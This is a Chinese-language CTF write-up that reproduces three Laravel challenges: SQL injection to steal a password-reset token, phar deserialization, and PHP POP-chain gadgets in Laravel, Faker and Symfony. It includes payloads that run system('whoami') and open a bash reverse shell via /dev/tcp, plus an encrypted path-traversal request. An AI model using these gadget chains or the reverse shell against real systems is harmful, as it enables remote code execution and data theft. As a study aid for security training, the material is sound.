Laravel 相关几道题目复现

这几天在学习各个php框架,在粗略看了laravel文档之后,找了几道laravel的题做做,以此更深的了解这个框架。

2018护网杯easy_laravel

因为有源码,可以发现laravel 版本 5.3.*

查看router和controller,使用了内置auth功能实现登录注册重置等功能,/flag路由要求admin登录

在AdminMiddleware中间件实现邮箱为admin@qvq.im的用户即为admin

注入

源码审计,赤裸裸的注入,也没过滤啥的。NoteController中username可以注入。

在/database/migrations 可以看到创建时表结构,/database/factories 看到admin用户插入时密码bcrypt加密过的。

laravel内置重置密码在Illuminate\Auth\Passwords中实现,重置密码需要填写邮箱,并向邮箱发送一个重置链接。

重置链接中的token存到数据库中

laravel在5.4以后都是将token加密存储的,而之前是明文存储,所以我们就可以注入出token重置admin密码。

如下,当然你之前得访问/password/reset先重置admin密码数据库中才有token。

拿到token,访问/password/reset/[token]就可以重置admin密码了。

phar反序列化

登陆了admin之后发现访问/flag出现no_flag字样,审计出题人写得上传Controller。

检查文件后缀和图片头

另外还有个check方法,使用file_exists检查上传的文件是否存在,输入filename完全可控,明显可以进行phar反序列化操作了。

Getshell Or Blade

已经有了反序列化点,现在可以构造POP链Getshell。而这道题出题者本意是想用户通过反序列化找到pop链删除过期的blade模板,从而getshell。

Blade

删除的POP链很容易找到,在namespace Symfony\Component\Process\Pipes 中WindowsPipes类有个removeFIles

__destruct直接调用它

所以payload很简单,(其中编译过的模板都存放在/storage/framework/views/中,名字为原模板绝对路径的sha1值)

<?php

namespace Symfony\Component\Process\Pipes{
    class WindowsPipes{
        private $files = array();
        public function __construct($files)
        {
            $this->files = $files;
        } 
    }
}

namespace{
    $a = new Symfony\Component\Process\Pipes\WindowsPipes(array('/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php'));
    $p = new Phar('./phar.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); # 改文件头
    $p->setMetadata($a);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    echo urlencode(serialize($a));
}

也有师傅利用Swift_ByteStream_TemporaryFileByteStream类 也是很简洁的思路

GetShell

Illuminate\Broadcasting PendingBroadcast类的__destruct入手,其中event和events都是完全可控的。

然后全局搜索fire函数,没有找到合适的函数。全局搜索__callFaker中找到Generator类的__call

它会调用format函数,其中format会调用call_user_func_array,且第一个参数,由下面的getFormatter返回,简单审计发现两个参数都可控。这样POP链就构造好了。

<?php

namespace Faker{
    class Generator
    {
        protected $formatters = array();
        public function __construct($formatters)
        {
            $this->formatters = $formatters;
        }
    }
}

namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace{
    $b = new Faker\Generator(array('fire'=>'system'));
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, "whoami");
    $p = new Phar('./phar.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); # 改文件头
    $p->setMetadata($a);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    echo urlencode(serialize($a));
}

CISCN 2019 决赛 Laravel1

 <?php
//backup in source.tar.gz

namespace App\Http\Controllers;


class IndexController extends Controller
{
    public function index(\Illuminate\Http\Request $request){
        $payload=$request->input("payload");
        if(empty($payload)){
            highlight_file(__FILE__);
        }else{
            @unserialize($payload);
        }
    }
} 

给了源码,直接就是反序列化找POP链。

有意思的是,作者注释掉了以往两个POP链的初始点,旨在希望用户新找一个POP链(虽然,大部分人都是从日志或者session里看到payload的)。

这个是利用Symfony组件中的gaget,laravel5.7都是默认安装方法自带。

首先找__destruct ,位于Symfony\Component\Cache\Adapter

依次向下进入invalidateTags函数。

经过一番简单的操作进入saveDeferred函数,本类的该函数没有啥危害,搜索找到ProxyAdapter类的saveDeferred函数

跟进,可以看到下面有个动态函数调用,$this->setInnerItem可控,函数的输入$item即为上面类的输入也可控,system函数正好可以有两个参数。

其中的 $item 本来输入是CacheItemInterface的对象,但是在里面强制转换成了array,也就有了类似"\0*\0expiry"的键值,其实就是该类的protected属性。

那么这么一顺,POP链差不多就出来了,细节看payload就可以了。

namespace Symfony\Component\Cache\Adapter{
    class TagAwareAdapter{
        private $deferred;
        private $pool;
        function __construct($deferred, $pool){
            $this->deferred = $deferred;
            $this->pool = $pool;
        }

    }
    class ProxyAdapter{
        private $setInnerItem;
        private $poolHash;
        function __construct($setInnerItem, $poolHash){
            $this->setInnerItem = $setInnerItem;
            $this->poolHash = $poolHash;
        }
    }
}

namespace Symfony\Component\Cache{
    final class CacheItem{
        protected $expiry;
        protected $poolHash;
        protected $innerItem;

        function __construct($expiry, $poolHash, $innerItem){
            $this->expiry = $expiry;
            $this->poolHash = $poolHash;
            $this->innerItem = $innerItem;
        }

    }
}

namespace{
    $b = new Symfony\Component\Cache\Adapter\ProxyAdapter('system', 1);
    $d = new Symfony\Component\Cache\CacheItem(1, 1, "bash -c 'bash -i >& /dev/tcp/127.0.0.1/9898 0>&1'");
    $a = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($d),$b);
    echo urlencode(serialize($a));
}

CISCN 2019 决赛 Laravel File Manager

还是有代码的审计,welcome界面显示Only localhost can access it!,其实和这没啥关系。

app中自己实现的GetPairController可以向用户返回椭圆曲线加密的公钥并吧私钥存入session。

题目名叫Laravel File Manager,关键点还是在于filemanger组件,在FileManger.php中,download操作有问题,首先它没有使用laravel自带的文件系统Storage进行操作文件,而且在过滤filename时也没有用,最后还是直接用了$path

对比一下原项目咋写的

当然现在还不能简单的读flag,题作者还写了一个参数加密中间件位于app/Http/Middleware/Encryption/EncryptionBody.php

class EncryptionBody
{
    protected $ec;
    protected $cipher = 'AES-256-CBC';

    protected $except = [
        //
    ];

    public function __construct () {
        $this->ec = new EC('secp256k1');
    }

    /**
     * @param Request $request
     * @param Closure $next
     * @return mixed
     */
    public function handle($request, Closure $next)
    {
        $bobPublic = $request->header('X-Client-Key');

        if (empty($bobPublic)) {
            if ($request->method() === 'POST') {
                $response = response('No Encrypt', 400);
                return $response;
            } else {
                return $next($request);
            }
        }

        $aliceKey = $request->session()->get('private');
        if (empty($aliceKey)) {
            $alice = $this->ec->genKeyPair();
            $request->session()->put('private', $alice->getPrivate()->toString('hex'));
        } else {
            $alice = $this->ec->keyFromPrivate($request->session()->get('private'));
        }
        try {
            $alicePublic = $alice->getPublic(true, 'hex');
            $bob = $this->ec->keyFromPublic($bobPublic, 'hex');
            $shared = $alice->derive($bob->getPublic());
            $key = $shared->toString(16);
            $key = substr(hex2bin($key), 0, 32);
            $content = $request->getContent();
            if (!empty($content)) {
                $text = $this->decrypt($content, $key);
                $json = \json_decode($text, true);
                if ($json) {
                    $request->replace($json);
                }
            }
            $response = $next($request);
            $response->header('X-Server-Key', $alice->getPublic(true, 'hex'));

            $content = ob_get_clean() . $response->getContent();
            if ($response->status() === 200) {
                $response->setContent($this->encrypt($content, $key));
            }
            return $response;
        } catch (\Exception $e) {
            return response('Key error', 400);
        }
    }

    private function encrypt ($data, $key) {
        $ivLength = openssl_cipher_iv_length($this->cipher);
        $iv = openssl_random_pseudo_bytes($ivLength);
        $encrypted = openssl_encrypt($data, $this->cipher, $key, OPENSSL_RAW_DATA, $iv);
        $hmac = hash_hmac('sha256', $encrypted, $key, true);
        return base64_encode($iv . $hmac . $encrypted);
    }

    private function decrypt ($data, $key) {
        $c = base64_decode($data);
        $ivLength = openssl_cipher_iv_length($this->cipher);
        $iv = substr($c, 0, $ivLength);
        $hmac = substr($c, $ivLength, 32);
        $encrypted = substr($c, $ivLength + 32);
        $decrypted = openssl_decrypt($encrypted, $this->cipher, $key, OPENSSL_RAW_DATA, $iv);
        $calculatedHmac = hash_hmac('sha256', $decrypted, $key, true);
        if (is_string($hmac) && hash_equals($hmac, $calculatedHmac)) {
            return $decrypted;
        }
        return '';
    }
}

代码大致是根据ECDH密钥协商算法和客户端得到共同key,用AES对POST所有响应和请求数据进行加密和解密。所以我们随便带上一个X-Client-Key发送一个POST数据获得X-Server-Key,再本地生成公私钥对与服务器端公钥生成协商好的AES的key。

最后向/file-manager/download POST加密后的{"disk": "public", "path":"../../../../../../../../flag.txt"} 就行

一开始以为作者自己写得Controller有啥用,原来并没有啥用,按照代码原理协商密钥就行了。

这里还有个小点,encrypt和decrypt居然不是互逆的Orz。本地按照encrypt的算法正常加密,decrypt是解不开的。decrypt最后的检查加密数据是否被篡改检查的是hash_hmac('sha256', 解密后原始数据, $key, true),而encrypt加密返回的$hmac确是hash_hmac('sha256', 加密过的数据, $key, true);

这两个肯定是不同的,所以写payload的时候要注意一下。